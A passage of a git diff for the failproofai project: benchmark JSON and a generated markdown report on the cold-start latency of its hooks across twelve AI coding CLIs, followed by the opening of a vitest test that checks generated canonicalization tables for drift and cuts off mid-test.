"e2eStddev": 3.3, + "e2eMin": 61.54, + "e2eMax": 77.16 + }, + "goose|UserPromptExpansion": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 60.64, + 66.02, + 66.53 + ], + "configLoad": [ + 4.09, + 4.59, + 7.98 + ], + "evaluate": [ + 0.14, + 0.17, + 0.25 + ], + "encode": [ + 0.25, + 0.27, + 0.4 + ], + "other": [ + 1.57, + 1.83, + 4.65 + ], + "e2e": [ + 67.09, + 72.21, + 77.49 + ] + }, + "e2eMean": 67.31, + "e2eStddev": 2.96, + "e2eMin": 61.8, + "e2eMax": 77.49 + }, + "goose|PostToolBatch": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 61.31, + 67.82, + 69.76 + ], + "configLoad": [ + 3.97, + 7.22, + 7.77 + ], + "evaluate": [ + 0.14, + 0.17, + 0.18 + ], + "encode": [ + 0.25, + 0.29, + 0.31 + ], + "other": [ + 1.55, + 1.82, + 1.9 + ], + "e2e": [ + 67.42, + 73.41, + 75.44 + ] + }, + "e2eMean": 67.62, + "e2eStddev": 3.2, + "e2eMin": 61.57, + "e2eMax": 75.44 + }, + "goose|Setup": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 61.22, + 66.85, + 67.76 + ], + "configLoad": [ + 3.98, + 7.34, + 7.5 + ], + "evaluate": [ + 0.15, + 0.17, + 0.18 + ], + "encode": [ + 0.25, + 0.31, + 0.37 + ], + "other": [ + 1.6, + 1.79, + 1.93 + ], + "e2e": [ + 67.73, + 73.43, + 75.11 + ] + }, + "e2eMean": 67.93, + "e2eStddev": 3, + "e2eMin": 62.57, + "e2eMax": 75.11 + } + } + }, + "customPolicyDelta": { + "configLoadP50": 3.49, + "configLoadP95": 6.61, + "configLoadP99": 7.3, + "e2eP50": 1.98, + "tempFilesWrittenPerInvocation": 2 + }, + "calibration": [ + { + "cli": "claude", + "event": "PreToolUse", + "harnessE2e": [ + 67.4, + 72.65, + 73.06 + ], + "realCliE2e": [ + 71.94, + 75.86, + 77.66 + ], + "deltaP50": 4.54 + }, + { + "cli": "codex", + "event": "PreToolUse", + "harnessE2e": [ + 65.82, + 70.15, + 72.49 + ], + "realCliE2e": [ + 71.71, + 78.62, + 79.61 + ], + "deltaP50": 5.89 + }, + { + "cli": "copilot", + "event": "PreToolUse", + "harnessE2e": [ + 66.04, + 74.27, + 76.55 + ], + "realCliE2e": [ + 71.42, + 78.92, + 78.93 + ], + "deltaP50": 5.38 + }, + { + "cli": "cursor", + "event": "PreToolUse", + "harnessE2e": [ + 65.53, + 69.15, + 71.15 + ], + "realCliE2e": [ + 71.16, + 74.88, + 76.08 + ], + "deltaP50": 5.63 + }, + { + "cli": "opencode", + "event": "PreToolUse", + "harnessE2e": [ + 65.09, + 70.08, + 74.3 + ], + "realCliE2e": [ + 72.26, + 76.37, + 78.03 + ], + "deltaP50": 7.17 + }, + { + "cli": "pi", + "event": "PreToolUse", + "harnessE2e": [ + 64.93, + 72.31, + 78.56 + ], + "realCliE2e": [ + 73.35, + 78.93, + 85.52 + ], + "deltaP50": 8.42 + }, + { + "cli": "hermes", + "event": "PreToolUse", + "harnessE2e": [ + 66.87, + 70.76, + 73.25 + ], + "realCliE2e": [ + 71.45, + 76.4, + 84.85 + ], + "deltaP50": 4.58 + }, + { + "cli": "openclaw", + "event": "PreToolUse", + "harnessE2e": [ + 67.96, + 71.31, + 72.5 + ], + "realCliE2e": [ + 71.5, + 78.3, + 79.2 + ], + "deltaP50": 3.54 + }, + { + "cli": "factory", + "event": "PreToolUse", + "harnessE2e": [ + 65.4, + 70.76, + 73.92 + ], + "realCliE2e": [ + 72.06, + 77.1, + 78.14 + ], + "deltaP50": 6.66 + }, + { + "cli": "devin", + "event": "PreToolUse", + "harnessE2e": [ + 67.32, + 72.23, + 73.01 + ], + "realCliE2e": [ + 72.01, + 78, + 79.03 + ], + "deltaP50": 4.69 + }, + { + "cli": "antigravity", + "event": "PreToolUse", + "harnessE2e": [ + 65.79, + 71.48, + 75.29 + ], + "realCliE2e": [ + 70.68, + 74.55, + 75.75 + ], + "deltaP50": 4.89 + }, + { + "cli": "goose", + "event": "PreToolUse", + "harnessE2e": [ + 66.56, + 72.34, + 78.09 + ], + "realCliE2e": [ + 72.31, + 78.32, + 79.16 + ], + "deltaP50": 5.75 + } + ], + "repeatability": { + "note": "Both measurements come from the same process, minutes apart, on a machine that was also running an editor and an agent session — so this is a realistic lower bound on run-to-run noise, not a best case.", + "rows": [ + { + "cell": "claude|PreToolUse", + "firstP50": 67.4, + "secondP50": 65.32, + "absDelta": 2.08, + "relDelta": 0.0309 + }, + { + "cell": "codex|PreToolUse", + "firstP50": 65.82, + "secondP50": 66.88, + "absDelta": 1.06, + "relDelta": 0.0161 + }, + { + "cell": "copilot|PreToolUse", + "firstP50": 66.04, + "secondP50": 67.22, + "absDelta": 1.18, + "relDelta": 0.0179 + }, + { + "cell": "cursor|PreToolUse", + "firstP50": 65.53, + "secondP50": 66.91, + "absDelta": 1.38, + "relDelta": 0.0211 + }, + { + "cell": "opencode|PreToolUse", + "firstP50": 65.09, + "secondP50": 67.6, + "absDelta": 2.51, + "relDelta": 0.0386 + }, + { + "cell": "pi|PreToolUse", + "firstP50": 64.93, + "secondP50": 66.9, + "absDelta": 1.97, + "relDelta": 0.0303 + }, + { + "cell": "hermes|PreToolUse", + "firstP50": 66.87, + "secondP50": 66.15, + "absDelta": 0.72, + "relDelta": 0.0108 + }, + { + "cell": "openclaw|PreToolUse", + "firstP50": 67.96, + "secondP50": 66.54, + "absDelta": 1.42, + "relDelta": 0.0209 + }, + { + "cell": "factory|PreToolUse", + "firstP50": 65.4, + "secondP50": 66.35, + "absDelta": 0.95, + "relDelta": 0.0145 + }, + { + "cell": "devin|PreToolUse", + "firstP50": 67.32, + "secondP50": 67.48, + "absDelta": 0.16, + "relDelta": 0.0024 + }, + { + "cell": "antigravity|PreToolUse", + "firstP50": 65.79, + "secondP50": 66.04, + "absDelta": 0.25, + "relDelta": 0.0038 + }, + { + "cell": "goose|PreToolUse", + "firstP50": 66.56, + "secondP50": 67.31, + "absDelta": 0.75, + "relDelta": 0.0113 + } + ], + "maxAbsDeltaMs": 2.51, + "maxRelDelta": 0.0386 + }, + "diagnostics": { + "totalIterations": 37524, + "failedIterations": 0, + "failureRate": 0, + "harnessRepairs": 0, + "failureSamples": [], + "clampedOtherSamples": 0 + } +} diff --git a/__tests__/parity/bench-baseline.md b/__tests__/parity/bench-baseline.md new file mode 100644 index 00000000..3d49e1fc --- /dev/null +++ b/__tests__/parity/bench-baseline.md @@ -0,0 +1,230 @@ +# Stage 0 — cold-start hook latency baseline + +> Generated by `scripts/bench-hook.ts`. **Do not hand-edit** — regenerate with `bun scripts/bench-hook.ts`, and re-measure against this file with `bun scripts/bench-hook.ts --check`. + +Captured 2026-07-30T18:31:47.535Z at commit `4535acd` (failproofai 0.0.16-beta.0), 50 iterations per cell after 3 discarded warmup iterations, across 348 `(cli, event)` cells (12 CLIs × 29 events) × 2 variants. + +## What this baseline is for + +It exists to pre-empt one specific way Phase 1 could be killed for the wrong reason — the risk titled **“The daemon isn’t faster” could kill the project mid-flight for the wrong reason** in `desgin-docs/v1.0.0/phase-1-local-enforcement/implementation/03-risks-and-amendments.md`. + +Through Stage 3 the daemon’s client is still `bin/failproofai.mjs` under Node or bun. The process still starts, the module graph is still evaluated. **What the daemon removes at Stage 1 is phases 2–4, not phase 1.** Phase 1 only goes away at Stage 4, when the native client (`crates/failproofai-cli`) lands. If this baseline reported a single end-to-end number, a Stage-1 measurement would look like a rounding error and “the daemon isn’t faster” would be unanswerable. + +On the machine below, with the **default** policy set and no custom policy file: + +| | removed by | p50 (ms) | share of end-to-end p50 | +| --- | --- | --- | --- | +| phase 1 — spawn | **Stage 4** (native client) | 60.97 | 93.2% | +| phases 2–4 — config+load, evaluate, encode | **Stage 1** (daemon) | 0.95 | 1.5% | +| (other) — payload, envelope, teardown | — | 3.38 | 5.2% | + +With **one** custom policy file present — the setup that makes `src/hooks/loader-utils.ts` write `.__failproofai_tmp__.mjs` next to the user’s own source on every single tool call — phases 2–4 grow to **4.42 ms** p50. That is the part the daemon deletes at Stage 1, and it is 4.7× larger than in the default case. + +So the Stage-1–3 acceptance question is **“did phases 2–4 go to zero?”**, not “did end-to-end drop?”. End-to-end is the Stage-4 gate, exactly as `01-stages.md` states. The nightly `hyperfine` job described in `02-verification.md` (L6) is the successor to this file, not a replacement for it: `hyperfine` can only see end-to-end. + +## Aggregate, pooled across every cell + +### default variant + +`default` — 11 default-enabled builtins, **no** custom policy file + +| phase | p50 (ms) | p95 (ms) | p99 (ms) | share of e2e p50 | +| --- | --- | --- | --- | --- | +| 1. spawn | 60.97 | 66.23 | 70.55 | 93.2% | +| 2. config+load | 0.54 | 0.60 | 0.74 | 0.8% | +| 3. evaluate | 0.16 | 0.57 | 1.07 | 0.2% | +| 4. encode | 0.25 | 0.27 | 0.34 | 0.4% | +| (other) | 3.38 | 3.96 | 4.18 | 5.2% | +| **end-to-end** | 65.40 | 70.75 | 74.90 | 100% | + +### custom variant + +`custom` — same builtins **plus one** convention custom policy file + +| phase | p50 (ms) | p95 (ms) | p99 (ms) | share of e2e p50 | +| --- | --- | --- | --- | --- | +| 1. spawn | 61.02 | 66.31 | 70.62 | 90.6% | +| 2. config+load | 4.03 | 7.21 | 8.04 | 6.0% | +| 3. evaluate | 0.14 | 0.65 | 1.15 | 0.2% | +| 4. encode | 0.25 | 0.28 | 0.39 | 0.4% | +| (other) | 1.60 | 1.92 | 3.08 | 2.4% | +| **end-to-end** | 67.38 | 72.97 | 79.74 | 100% | + +## The cost of one custom policy file (`config+load`) + +This is the strongest single argument for the daemon at Stage 1, because it is pure overhead that recurs on **every tool call** and it writes to the user’s working tree to do it. `rewriteFileTree()` creates one `.__failproofai_tmp__.mjs` beside the policy file plus one ESM shim beside `dist/index.js`, dynamically imports the copy, then unlinks both. + +| | p50 (ms) | p95 (ms) | p99 (ms) | +| --- | --- | --- | --- | +| `config+load`, no custom policy | 0.54 | 0.60 | 0.74 | +| `config+load`, one custom policy | 4.03 | 7.21 | 8.04 | +| **delta** | **+3.49** | **+6.61** | **+7.30** | +| end-to-end delta | +1.98 | — | — | + +Temp files written per hook invocation, custom variant: **2** (one rewritten policy copy + one ESM shim). + +Note the end-to-end delta is **much smaller than the `config+load` delta**, and can even come out slightly negative. That is not the loader being free. `(other)` is a **residual** — wall clock minus the four measured phases — so it absorbs every cross-phase effect: scheduler placement, page-fault timing, and the fact that a process which has already done four milliseconds of filesystem work tears down differently from one that has not. **Read the `config+load` row, not the end-to-end row, for the loader's cost.** `config+load` is measured directly with two `performance.now()` calls around the real calls; the end-to-end delta at this magnitude is inside the residual's noise. + +## Inside phase 1 — why the daemon cannot remove it before Stage 4 + +| | p50 (ms) | p95 (ms) | p99 (ms) | +| --- | --- | --- | --- | +| bare interpreter start (`node` running a one-line script) | 17.62 | 20.02 | 21.80 | +| …plus evaluating the failproofai module graph | 60.82 | 65.81 | 69.64 | +| **module-graph evaluation alone** (derived) | **43.20** | — | — | + +Both halves survive Stages 1–3 untouched: the hook is still a Node process that still imports `src/hooks/handler.ts`, because the Stage-1 daemon branch lives *inside* that module. Only the Stage-4 native client removes them. + +## Per CLI (`default` variant, pooled across all events) + +| cli | spawn p50 | config+load p50 | evaluate p50 | encode p50 | e2e p50 | e2e p95 | e2e p99 | +| --- | --- | --- | --- | --- | --- | --- | --- | +| `claude` | 61.15 | 0.54 | 0.160 | 0.250 | 65.55 | 70.72 | 73.55 | +| `codex` | 60.42 | 0.52 | 0.160 | 0.250 | 65.04 | 69.95 | 72.64 | +| `copilot` | 60.45 | 0.53 | 0.160 | 0.250 | 64.85 | 69.41 | 71.58 | +| `cursor` | 60.60 | 0.53 | 0.160 | 0.250 | 64.94 | 69.51 | 72.31 | +| `opencode` | 60.69 | 0.54 | 0.160 | 0.250 | 65.09 | 70.68 | 74.30 | +| `pi` | 61.16 | 0.54 | 0.160 | 0.250 | 65.52 | 71.04 | 74.46 | +| `hermes` | 60.97 | 0.54 | 0.160 | 0.250 | 65.38 | 70.32 | 73.99 | +| `openclaw` | 61.19 | 0.54 | 0.160 | 0.250 | 65.54 | 70.96 | 74.12 | +| `factory` | 61.39 | 0.54 | 0.160 | 0.250 | 65.79 | 72.69 | 110.47 | +| `devin` | 61.36 | 0.54 | 0.160 | 0.250 | 65.71 | 70.88 | 74.77 | +| `antigravity` | 61.26 | 0.54 | 0.160 | 0.250 | 65.61 | 71.02 | 74.86 | +| `goose` | 61.33 | 0.55 | 0.170 | 0.250 | 65.74 | 72.08 | 108.80 | + +All 12 rows are within noise of each other, which is the expected result and worth stating: canonicalization is table lookups, and the per-CLI response encoders differ by a few string concatenations. **The CLI you use does not measurably change hook latency; the event does.** + +## Per event (`default` variant, pooled across all CLIs) + +| event | policies matched | spawn p50 | config+load p50 | evaluate p50 | encode p50 | e2e p50 | e2e p99 | +| --- | --- | --- | --- | --- | --- | --- | --- | +| `SessionStart` | 0 | 60.93 | 0.54 | 0.160 | 0.250 | 65.29 | 74.38 | +| `SessionEnd` | 0 | 60.91 | 0.54 | 0.160 | 0.250 | 65.22 | 73.59 | +| `UserPromptSubmit` | 0 | 60.69 | 0.54 | 0.160 | 0.250 | 65.04 | 72.66 | +| `PreToolUse` | 6 | 61.10 | 0.54 | 1.060 | 0.260 | 66.38 | 74.30 | +| `PermissionRequest` | 1 | 60.85 | 0.54 | 0.310 | 0.250 | 65.22 | 73.76 | +| `PermissionDenied` | 0 | 61.02 | 0.54 | 0.160 | 0.250 | 65.37 | 74.23 | +| `PostToolUse` | 5 | 61.01 | 0.54 | 0.570 | 0.260 | 65.72 | 73.24 | +| `PostToolUseFailure` | 0 | 60.85 | 0.54 | 0.160 | 0.250 | 65.32 | 72.97 | +| `Notification` | 0 | 61.04 | 0.54 | 0.160 | 0.250 | 65.38 | 73.61 | +| `SubagentStart` | 0 | 60.88 | 0.54 | 0.160 | 0.250 | 65.29 | 73.45 | +| `SubagentStop` | 0 | 61.17 | 0.54 | 0.160 | 0.250 | 65.55 | 75.05 | +| `TaskCreated` | 0 | 61.14 | 0.54 | 0.160 | 0.250 | 65.51 | 73.99 | +| `TaskCompleted` | 0 | 61.27 | 0.54 | 0.160 | 0.250 | 65.65 | 118.78 | +| `Stop` | 0 | 60.95 | 0.54 | 0.160 | 0.250 | 65.43 | 77.35 | +| `StopFailure` | 0 | 61.12 | 0.54 | 0.160 | 0.250 | 65.53 | 72.16 | +| `TeammateIdle` | 0 | 60.86 | 0.54 | 0.160 | 0.250 | 65.23 | 73.54 | +| `InstructionsLoaded` | 0 | 61.03 | 0.54 | 0.160 | 0.250 | 65.48 | 72.69 | +| `ConfigChange` | 0 | 61.10 | 0.54 | 0.160 | 0.250 | 65.38 | 72.51 | +| `CwdChanged` | 0 | 61.05 | 0.54 | 0.160 | 0.250 | 65.38 | 73.75 | +| `FileChanged` | 0 | 61.16 | 0.54 | 0.160 | 0.250 | 65.54 | 75.27 | +| `WorktreeCreate` | 0 | 61.08 | 0.54 | 0.160 | 0.250 | 65.44 | 120.32 | +| `WorktreeRemove` | 0 | 60.77 | 0.54 | 0.160 | 0.250 | 65.25 | 73.02 | +| `PreCompact` | 0 | 60.91 | 0.54 | 0.160 | 0.250 | 65.33 | 73.29 | +| `PostCompact` | 0 | 60.65 | 0.54 | 0.160 | 0.250 | 64.99 | 74.86 | +| `Elicitation` | 0 | 60.98 | 0.54 | 0.160 | 0.250 | 65.36 | 72.96 | +| `ElicitationResult` | 0 | 60.99 | 0.54 | 0.160 | 0.250 | 65.40 | 75.37 | +| `UserPromptExpansion` | 0 | 60.95 | 0.54 | 0.160 | 0.250 | 65.35 | 73.56 | +| `PostToolBatch` | 0 | 61.10 | 0.54 | 0.160 | 0.250 | 65.52 | 74.64 | +| `Setup` | 0 | 60.98 | 0.54 | 0.160 | 0.250 | 65.35 | 72.80 | + +`policies matched` is the number of **default-enabled** builtins registered for that event. Most canonical events have none — that is the shipped default, not a gap in the benchmark — so `evaluate` for them is the cost of an empty `getPoliciesForEvent` lookup. A user who enables the full catalogue moves `evaluate` up; rerun with `--policy-set all` to see by how much. + +## Calibration against the real client + +The per-phase numbers come from a harness process that re-enacts `handleHookEvent`’s pipeline (it has to: that function returns one number for the whole invocation). This table runs the **actual shipping client** — `node dist/cli.mjs --hook --cli ` — over the same cells, so the size of that approximation is a published number. + +| cli | event | harness e2e p50 | real `dist/cli.mjs` e2e p50 | delta (ms) | +| --- | --- | --- | --- | --- | +| `claude` | `PreToolUse` | 67.40 | 71.94 | +4.54 | +| `codex` | `PreToolUse` | 65.82 | 71.71 | +5.89 | +| `copilot` | `PreToolUse` | 66.04 | 71.42 | +5.38 | +| `cursor` | `PreToolUse` | 65.53 | 71.16 | +5.63 | +| `opencode` | `PreToolUse` | 65.09 | 72.26 | +7.17 | +| `pi` | `PreToolUse` | 64.93 | 73.35 | +8.42 | +| `hermes` | `PreToolUse` | 66.87 | 71.45 | +4.58 | +| `openclaw` | `PreToolUse` | 67.96 | 71.50 | +3.54 | +| `factory` | `PreToolUse` | 65.40 | 72.06 | +6.66 | +| `devin` | `PreToolUse` | 67.32 | 72.01 | +4.69 | +| `antigravity` | `PreToolUse` | 65.79 | 70.68 | +4.89 | +| `goose` | `PreToolUse` | 66.56 | 72.31 | +5.75 | + +The real client is consistently **slower**, and the gap is accounted for: it bundles the entire CLI surface (`manager.ts`, the TUI, the dashboard launcher) rather than just the hook path, and it also runs `persistHookActivity` and `flushHookTelemetry`, which the harness omits. Read the harness numbers as a **lower bound** on phase 1 and on end-to-end; phases 2–4 are measured on the real code paths and are not affected. + +## Reading these numbers honestly + +This ran on a **shared developer workstation**, not a quiesced benchmark host. Load average was 1.54, 1.55, 3.06 at the start and 1.61, 1.86, 1.78 at the end. Nothing was pinned, isolated, or governor-locked. + +**What these numbers can be used for:** + +- The **ratio** between phases, and therefore the Stage-1-vs-Stage-4 argument above. Phase 1 is an order of magnitude larger than phases 2–4 combined; no plausible amount of noise reverses that. +- The **with-vs-without-custom-policy delta**, which is a genuinely paired comparison: the two variants are measured **interleaved**, one iteration each, alternating order, so both members of every pair see the same machine load. +- A **same-machine** regression check, via `--check`. + +**What they must not be used for:** + +- Comparison against a run on different hardware, a different Node version, or a CI runner. That is why `machine.fingerprint` is recorded and why `--check` degrades to advisory when it differs. +- Any claim that needs precision finer than the spread below. The p99 column in particular is a tail on a noisy host: treat it as “the worst of 50”, not as a distributional p99. +- Absolute SLO setting. `01-stages.md` gates end-to-end latency at **Stage 4** for exactly this reason. + +### Observed spread + +| measure | value | +| --- | --- | +| within-cell end-to-end coefficient of variation (median across cells, `default` variant) | 4.4% | +| worst within-cell end-to-end CV (`default` variant) | 26.7% | +| run-to-run repeatability: largest absolute end-to-end p50 shift over the repeat probe | 2.51 ms (3.9%) | +| iterations per cell | 50 | +| discarded warmup iterations per cell | 3 | +| iterations attempted / failed | 37524 / 0 (0.00%) | +| samples where the four phases summed above wall clock (clamped) | 0 | +| harness rebuilds forced mid-run | 0 | + +The repeat probe re-measures 12 cells at the very end of the run and compares them to their measurement at the start. Both measurements come from the same process, minutes apart, on a machine that was also running an editor and an agent session — so this is a realistic lower bound on run-to-run noise, not a best case. + +## Machine context + +| | | +| --- | --- | +| CPU | 13th Gen Intel(R) Core(TM) i7-13650HX | +| cores (logical) | 20 | +| memory | 22.7 GiB | +| OS | Linux 7.0.0-28-generic (linux/x64) | +| node | v26.5.0 | +| bun | 1.3.14 | +| load average (start → end) | 1.54, 1.55, 3.06 → 1.61, 1.86, 1.78 | +| fingerprint | `13th Gen Intel(R) Core(TM) i7-13650HX / 20c / linux-x64 / node v26.5.0 / bun 1.3.14` | + +## Method + +``` +bun scripts/bench-hook.ts # measure and rewrite both artifacts +bun scripts/bench-hook.ts --check # re-measure, compare, write nothing +bun scripts/bench-hook.ts --iterations 200 # tighter tails +bun scripts/bench-hook.ts --cli claude,goose # filter the matrix +bun scripts/bench-hook.ts --event PreToolUse +bun scripts/bench-hook.ts --policy-set all # every non-beta builtin enabled +bun scripts/bench-hook.ts --variants default # skip the custom-policy variant +``` + +There is **no `bench` script in `package.json` and no CI job**. `--check` exists so a soft gate can be added later (see L6 in `02-verification.md`); it is deliberately not wired up, because a benchmark in CI on shared runners produces flaky failures, not signal. + +Measurement details that matter for reproducing this: + +- **Every iteration is a fresh process.** Cold start is the thing being measured, so it cannot be amortized across iterations. +- **Strictly serial.** Running spawns concurrently would cut wall time and destroy the latency distribution. +- **Variants are interleaved per cell, not run as two passes over the matrix.** Two sequential passes put half an hour between the two halves of every comparison, so load drift lands entirely on one side. An earlier attempt did exactly that and reported the custom-policy variant as **17 ms faster** end-to-end — a property of the machine going quiet, not of custom policies. +- **Isolated sandbox.** Each variant gets its own `HOME` and its own project directory containing a `.failproofai/` marker, so `findProjectConfigDir` stops there and the benchmark never picks up this repo's own dogfood policy configuration. +- **Policy set: `default`** — 11 builtins, derived from `BUILTIN_POLICIES.filter(p => p.defaultEnabled && !p.beta)`. Every builtin that spawns a subprocess (`block-work-on-main`, the five `require-*-before-stop`) or reads a transcript (`warn-repeated-tool-calls`) is `defaultEnabled: false`, so the default workload does no subprocess or transcript I/O. A user who enables those will see materially higher `evaluate`. +- **Bash command benchmarked: `git status --short`.** Benign on purpose: a deny short-circuits `evaluateVerdicts`, so benchmarking a blocked command would measure the cheapest possible policy loop. +- **Telemetry:** disabled via FAILPROOFAI_TELEMETRY_DISABLED=1 (network I/O would swamp the signal) +- **Omitted from the harness process** (present in the calibration run): `persistHookActivity`, `trackHookEvent`, `flushHookTelemetry`. +- **The harness hard-exits after emitting its report**, mirroring `bin/failproofai.mjs`, which calls `process.exit()` the moment `handleHookEvent` returns. That is not cosmetic: a hook process that merely *returns* stays alive as long as anything is still pending on the event loop, so without the mirror the custom-policy variant measured a 10,088 ms p95 on the first attempt at this baseline — it was timing a pending `setTimeout`, not a hook. +- **`transcript_path` is `/dev/null`** and the sandbox `HOME` is empty, so `resolveTranscriptPath` and `resolvePermissionMode` return immediately. On a real machine `resolveCodexMode` line-scans `~/.codex/sessions`; `01-stages.md`’s P4 calls that out as an unbounded read on the enforcement deadline path. **This baseline does not capture that pathology** — it is a floor, not a worst case. + +## Matrix derivation + +The matrix is `INTEGRATION_TYPES` × `HOOK_EVENT_TYPES` read from `src/hooks/types.ts`, and per-CLI tool/event tables are resolved by naming convention (`_TOOL_MAP`, `_TOOL_INPUT_MAP`, `_EVENT_MAP`) off a namespace import, the same technique `scripts/gen-canon-tables.ts` uses. **Nothing hardcodes twelve.** A thirteenth CLI appears in this table on the next run with no edit to the script. + +Cells measured: **348** = 12 × 29. Full per-cell percentiles are in `bench-baseline.json` under `cells.["|"]`; each phase is a `[p50, p95, p99]` tuple in milliseconds. + diff --git a/__tests__/parity/canon-tables-drift.test.ts b/__tests__/parity/canon-tables-drift.test.ts new file mode 100644 index 00000000..fcefae88 --- /dev/null +++ b/__tests__/parity/canon-tables-drift.test.ts @@ -0,0 +1,466 @@ +// @vitest-environment node +/** + * Drift gate for the generated canonicalization tables. + * + * `crates/generated/*.json` is consumed by the Rust `fpai-canon` crate. If it + * drifts from `src/hooks/types.ts`, the Rust daemon canonicalizes an event or a + * tool name differently from the TypeScript reference and returns a *different + * verdict* — silently, and only for the CLI whose table went stale. + * + * Two independent assertions, because either alone is insufficient: + * + * 1. BYTE-EQUALITY. Re-run the generator into a temp dir and diff against the + * committed files. Catches "someone changed types.ts and forgot to + * regenerate", and "someone hand-edited the JSON". + * 2. TOTALITY. Assert the structural properties directly against the live + * constants, so a regenerated-but-WRONG table still fails. Byte-equality + * alone would happily bless a generator that emits a partial table. + */ +import { describe, it, expect } from "vitest"; +import { mkdtempSync, readFileSync, rmSync } from "node:fs"; +import { tmpdir } from "node:os"; +import { join, resolve } from "node:path"; + +import { + CANONICALIZATION_TABLES_FILENAME, + ENFORCEMENT_CAPABILITY_FILENAME, + PAYLOAD_NORMALIZATIONS, + PAYLOAD_REQUIRE_TYPES, + PAYLOAD_WHEN, + REGENERATE_COMMAND, + SCHEMA_VERSION, + writeTables, +} from "../../scripts/gen-canon-tables"; +import * as types from "@/src/hooks/types"; +import { HOOK_EVENT_TYPES, HOOK_SCOPES, INTEGRATION_TYPES } from "@/src/hooks/types"; +import { ENFORCEMENT_CAPABILITY } from "@/src/hooks/enforcement-capability"; + +const ROOT = process.cwd(); +const GENERATED_DIR = resolve(ROOT, "crates", "generated"); + +/** + * The only labels `EnforcementCapability` admits. Hardcoded ON PURPOSE: the + * generator derives `labels` from the values actually present, so if a third + * label is ever introduced this assertion is what makes it a conscious decision + * instead of a silent widening. + */ +const KNOWN_ENFORCEMENT_LABELS = ["block", "observe"]; + +const STALE_MESSAGE = + `crates/generated/*.json is out of date with src/hooks/types.ts.\n` + + `Regenerate with:\n\n ${REGENERATE_COMMAND}\n\n` + + `and commit the result. Do NOT hand-edit the JSON — src/hooks/types.ts is the source of truth.`; + +function readCommitted(filename: string): string { + return readFileSync(join(GENERATED_DIR, filename), "utf8"); +} + +function regenerateIntoTempDir(): { dir: string; read: (filename: string) => string } { + const dir = mkdtempSync(join(tmpdir(), "fpai-canon-tables-")); + writeTables(dir); + return { dir, read: (filename: string) => readFileSync(join(dir, filename), "utf8") }; +} + +interface CanonicalizationTablesJson { + schema_version: number; + generated_from: string; + regenerate_with: string; + pipeline: string[]; + canonical_event_types: string[]; + canonical_tool_names: string[]; + payload_normalization_vocabulary: { require_type: string[]; when: string[] }; + clis: Record< + string, + { + event_names_are_canonical: boolean; + event_types_source: string; + event_types: string[]; + event_map: Record; + unmapped_event_types: string[]; + reachable_canonical_events: string[]; + scopes_source: string; + scopes: string[]; + tool_map_source: string | null; + tool_map: Record; + tool_input_map_source: string | null; + tool_input_map: Record>; + payload_normalizations: Array<{ + from: Array; + to: string; + require_type: string; + when: string; + source: string; + }>; + } + >; +} + +interface EnforcementCapabilityJson { + schema_version: number; + generated_from: string; + labels: string[]; + clis: Record< + string, + { + capabilities: Record; + unverified_events: string[]; + capabilities_outside_reachable_events: string[]; + } + >; +} + +const canon = JSON.parse(readCommitted(CANONICALIZATION_TABLES_FILENAME)) as CanonicalizationTablesJson; +const enforcement = JSON.parse(readCommitted(ENFORCEMENT_CAPABILITY_FILENAME)) as EnforcementCapabilityJson; + +describe("canon tables — drift gate", () => { + it("committed JSON is byte-identical to a fresh generator run", () => { + const temp = regenerateIntoTempDir(); + try { + for (const filename of [CANONICALIZATION_TABLES_FILENAME, ENFORCEMENT_CAPABILITY_FILENAME]) { + const fresh = temp.read(filename); + const committed = readCommitted(filename); + if (fresh !== committed) { + throw new Error(`${STALE_MESSAGE}\n\nFirst stale file: crates/generated/${filename}`); + } + // Byte-for-byte, not just string-equal after any normalization. + expect(Buffer.from(committed, "utf8").equals(Buffer.from(fresh, "utf8"))).toBe(true); + } + } finally { + rmSync(temp.dir, { recursive: true, force: true }); + } + }); + + it("the generator is deterministic — two runs produce identical bytes", () => { + const a = regenerateIntoTempDir(); + const b = regenerateIntoTempDir(); + try { + for (const filename of [CANONICALIZATION_TABLES_FILENAME, ENFORCEMENT_CAPABILITY_FILENAME]) { + expect(a.read(filename)).toBe(b.read(filename)); + } + } finally { + rmSync(a.dir, { recursive: true, force: true }); + rmSync(b.dir, { recursive: true, force: true }); + } + }); + + it("both documents are stable 2-space JSON with a trailing newline", () => { + for (const filename of [CANONICALIZATION_TABLES_FILENAME, ENFORCEMENT_CAPABILITY_FILENAME]) { + const raw = readCommitted(filename); + expect(raw.endsWith("}\n"), `${filename} must end with a trailing newline`).toBe(true); + expect(raw).toBe(`${JSON.stringify(JSON.parse(raw), null, 2)}\n`); + expect(raw.includes("\t"), `${filename} must not contain tabs`).toBe(false); + } + }); + + it("every object's keys are sorted, at every depth", () => { + const walk = (value: unknown, path: string): void => { + if (Array.isArray(value)) { + value.forEach((item, i) => walk(item, `${path}[${i}]`)); + return; + } + if (value && typeof value === "object") { + const keys = Object.keys(value as Record); + expect(keys, `${path} keys are not sorted`).toEqual([...keys].sort()); + for (const key of keys) walk((value as Record)[key], `${path}.${key}`); + } + }; + walk(canon, "canonicalization-tables"); + walk(enforcement, "enforcement-capability"); + }); +}); + +describe("canon tables — self-describing header", () => { + it("both documents carry the current schema version and their provenance", () => { + expect(canon.schema_version).toBe(SCHEMA_VERSION); + expect(enforcement.schema_version).toBe(SCHEMA_VERSION); + expect(Number.isInteger(canon.schema_version)).toBe(true); + expect(canon.generated_from).toBe("src/hooks/types.ts"); + expect(enforcement.generated_from).toBe("src/hooks/enforcement-capability.ts"); + expect(canon.regenerate_with).toBe(REGENERATE_COMMAND); + expect(REGENERATE_COMMAND).toBe("bun scripts/gen-canon-tables.ts"); + }); + + it("records the order the tables must be applied in", () => { + expect(canon.pipeline).toEqual([ + "payload_normalizations", + "event_map", + "tool_map", + "tool_input_map", + ]); + }); +}); + +describe("canon tables — totality", () => { + it("has an entry for every INTEGRATION_TYPES member and nothing else", () => { + expect(Object.keys(canon.clis).sort()).toEqual([...INTEGRATION_TYPES].sort()); + expect(Object.keys(enforcement.clis).sort()).toEqual([...INTEGRATION_TYPES].sort()); + }); + + it("canonical_event_types is exactly HOOK_EVENT_TYPES", () => { + expect(canon.canonical_event_types).toEqual([...(HOOK_EVENT_TYPES as readonly string[])].sort()); + }); + + it.each([...INTEGRATION_TYPES])( + "%s: event_map ∪ unmapped_event_types partitions event_types exactly", + (cli) => { + const entry = canon.clis[cli]; + const covered = [...Object.keys(entry.event_map), ...entry.unmapped_event_types].sort(); + 